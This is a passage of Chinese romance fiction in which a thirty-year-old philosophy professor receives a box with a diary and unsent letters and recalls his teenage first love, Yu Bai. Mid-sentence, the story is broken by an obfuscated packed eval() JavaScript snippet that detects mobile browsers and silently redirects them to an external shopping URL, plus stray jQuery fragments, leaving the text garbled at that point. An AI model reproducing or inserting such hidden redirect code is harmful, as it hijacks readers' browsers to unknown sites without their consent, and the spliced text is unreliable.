陈司雾三十岁了。
尽管他最近走在学校里,看着那些年轻生动的面孔,还是会恍惚觉得,自己只是在十七岁那年某个蝉鸣正盛的午后不小心睡了一觉。
但身旁路过学生一次次朝他喊的那句“陈教授好”,还是会一遍遍提醒他,十七岁对他而言,已经是很久很久以前的事了。
久到记忆早就变得模糊。
很多人和事,也已遥远得像是上个世纪的存在。
过去十三年里发生了很多事,他从峦山搬到北京,然后又在高考前出了国,毕业后工作几经辗转,最后又回国定居在了一个沿海城市。
原因也很简单,这边有所高校朝他伸出了橄榄枝;以及,这座城市是他爱人的故乡。
是的,他结婚了。
三十岁,事业有成,家庭和睦。
陈司雾几乎完全按着所有人都曾期待过的样子,长成了一个优秀的大人。
这样完满的人生,无论怎么看,都不应该与[遗憾]有关的。
可是只有陈司雾自己知道,他也曾经有过一封,送出之后便再没收到回应的信。
那封信,困住了他的十七岁。
以至于后来很多年,每到雨季,他都会想起峦山那场大雨,以及,那封没有回信的信。
.
收到陌生快递的前一个星期,陈司雾刚以海城大学新聘哲学教授身份,结束了一场线上直播分享。
快递是寄到学校的,寄件人的名字叫俞亮。
陈司雾不认识这个名字,但看到寄件地址填的是峦山时,又下意识拼凑起很多回忆。
他的少年时代,曾在那个城市有过一段很难忘的时光。
俞亮。陈司雾拿快递回办公室的路上,心里一遍遍重复默念这个名字,脑海里竟也渐渐浮现起了一个少女清晰的脸庞。在他的记忆里,少女眉眼间总是安静又带着淡淡的悲伤,偶尔也会有清澈明亮的瞬间,深邃闪烁,像猫,也像兔子。
也是这一瞬间,他突然就明白自己为什么会觉得[俞亮]这个名字熟悉了。
因为那个女孩,也姓俞,叫俞白。
她是他的初恋。尽管,他们从没有过真正意义上的靠近与相处,说过的话也寥寥无几,少到近乎可以忽略。但他喜欢她,非常非常喜欢她。
出国以后,陈司雾很多年没再触碰过这段年少回忆了。
在他心里,他选择了将那个年少懵懂又青涩的自己和俞白一起,永远留在了十七岁的夏天。
没有跟上来,也不希望他跟上来。
快递里面是一个上了锁的方形铁盒,钥匙就贴在盒子上面。
盒子看起来有些年头了,边缘还有几道铁锈被清理过的银色划痕。
陈司雾觉得这个快递奇怪,但好奇心却又令他忍不住转开了锁扣。
盒子被完全打开那一刻,陈司雾手上动作也愣愣怔了半响。
是一本粉色封面日记。
文具店里很常见的那种,只是表面软皮已经有了开裂斑驳。
日记旁边还有一沓信封,没有邮戳,也没寄件信息,上面只写了相同几个字:圣诞老人,收。
年少的记忆,一时间如同海啸翻涌般铺天盖地而来。
陈司雾不可置信地死死按压住胸口,拼命用力地大口呼吸。
那些他以为会在岁月里静静沉睡过去年少时光,最终还是破晓般撕裂一道口子,醒来了。
/
陈司雾永远记得他第一次遇见俞白的那个冬天。
那是他儿时搬离峦山,长大后又随着爸爸工作安排重新回到这座城市的第二天。
小城冬日的清晨,大雾四起。
本来入学第一天,家里人是想开车送他去学校的。
但陈司雾昨天便已经跟同小区且现在也在实验上学的朋友联系好了,今天两个人一起骑车去学校。
入学第一天,陈司雾很早便收拾好东西出门了。
但他在小区门口等了很久,不小心睡过了头的朋友才骑着车子朝他姗姗而来。
快迟到了,陈司雾从一开始便把车子骑得飞快。
他可不想入学第一天就被学校抓去当典型。
大雾弥漫。
他就那样一阵风吹过般疾驰在白茫茫的世界,将一片混沌划开。
“陈司雾!你等等我!”
身后是朋友不断喊他名字的声音,但陈司雾并没有停下。
直到,快要经过一片果园时,陈司雾隔着大雾隐约看到小小一团蹲在地上的身影,他这才终于把速度放慢了些。
是个女生,在修理她掉下来的车链子。
陈司雾本来是想停下帮忙的,但当他快要靠近时,女生似乎已经自己修理好了。半蹲的身子微微直起,然后她头上那枚小小的发夹,就这样猝不及防闯进了他的眼里。
“加油!”陈司雾喊。
几乎是下意识脱口而出的。
然后没等到她转身回头,他便又一次加速,风一样消失在了这片大雾里。
后来他又在学校见过她几次,知道了她跟自己同年级,和张怡悦读一个班。
其实那天早上他并没有看清她的长相,之所以能再认出她,完全是因为她头上那个粉色兔子发夹。
小小一只,跟她给人的感觉很像。
乖巧,安静,也可爱。
慢慢的,陈司雾发现她不管去哪里,好像总是一个人。
陈司雾觉得奇怪,然后竟也鬼使神差的,开始不知不觉越来越关注起了这个人,甚至期待着能常常在学校里遇见她。
后来,还是在张怡悦生日那天,他终于知道了她的名字。
俞白。很像他第一次在大雾里遇见她的感觉,寂静的,白茫茫一片。
那天,他进来第一眼便看见了包厢角落里坐着的她。
一双眼睛在昏暗里,安静又明亮地闪烁着。
他很想过去跟她说说话,告诉她说,俞白同学你好,我叫陈司雾。
但是那晚围着他的人太多了,关于他的话题也太多了。
陈司雾很清楚,如果他在这个时候朝她走去,那么显而易见,她也会因为他的靠近被人关注和讨论。陈司雾不想打破她此刻的平静。
来日方长。他跟自己说,他们还有很长很长的时间可以用来认识。
年少时,我们总以为时间悠悠漫长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568660|204178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
、取之不尽,现在和未来都有着无数个黄昏和夜晚可以用来浪费。只是长大后才渐渐明白,很多事情,其实只要错过这次,就不会再有下一次了。
生日会散场,陈司雾故意在门外拖到其他人都走了,等到俞白跟怡悦一起从包厢出来,他才从楼道拐角忽然出现快步追了上去。
两个女生正在欣赏怡悦手上的针织手套。
陈司雾悄悄站在后面看了眼,她的指尖上是和俞白发卡一样的兔子形状。
听怡悦的意思,这副手套是俞白自己钩织的。
还挺厉害。
不过好像不算太意外,毕竟,车子她也会自己修。
陈司雾盯着俞白的后脑勺,然后唇角不自觉扬了个轻快的笑。
“小兔子乖乖。”他说。
只是当他从她身边经过,他竟然也突然不敢再多停留。
陈司雾快步下楼,没有回头,只留两个人女生在身后意外又错愕。
起初他并不明白这种“胆怯”是什么,直到后来,当他再也无法按着最初想的那样,坦荡又大方地站在她面前,告诉她自己的名字时,陈司雾终于后知后觉懂了,是喜欢。
喜欢会让怯懦者勇敢。
喜欢也会让直率者变成小心翼翼的胆小鬼。
年少的喜欢是最珍贵,也最复杂难懂的存在。
从KTV出来,陈司雾又看到了那辆停在他车子不远处的自行车。
其实来的时候,他就已经认出来车子是俞白的了。
看起来,等下她也要自己骑车回家。
峦山冬天的夜里,街上早早就没什么人了。
陈司雾知道俞白跟自己回家是一个方向,所以他就晃晃悠悠,慢慢骑着、等着。
等到路过街边商店时,他的余光从玻璃倒影上看到了俞白跟在自己身后的身影。
他才终于一颗心放下来,眉眼一弯,笑了。
两辆车子一前一后,不近,但也不远。
一直都是刚刚好的距离。
陈司雾好几次笑着抬头望向天边那轮明亮的月亮,希望它能跟他一起永远记住这个夜晚。
他那样开心又幸福的夜晚。他和俞白一起,借着月光同行。
像是上学时都会交叉路口汇合一样,很快,他们也要在路口分开了。
陈司雾朝着村子那边方向看了眼,幸好,虽然是段土路,但路灯明亮,四周也没有什么危险的遮挡物。
陈司雾想和俞白说再见,但那样,就暴露他一直知道自己身后有人了。
于是当他拐向另一边时,手上转起了长长一阵车铃。
他用那样清脆悠扬的声音,跟她说再见。
然后等她真的拐向了和他相反的另一边,他又忍不住忽然一个掉头,回到交叉口,停车远远看着她小小的背影越走越远,直到进了村庄,完全看不见了。
中间有几次陈司雾都很害怕她会回头看见自己,那样的话,他又该如何向她解释。
幸运的是,她没有回头。
陈司雾松了一口气,却又觉得哪里闷闷的,有些遗憾。
算了,没关系,日子很长。他们才十六岁,他们有的是时间。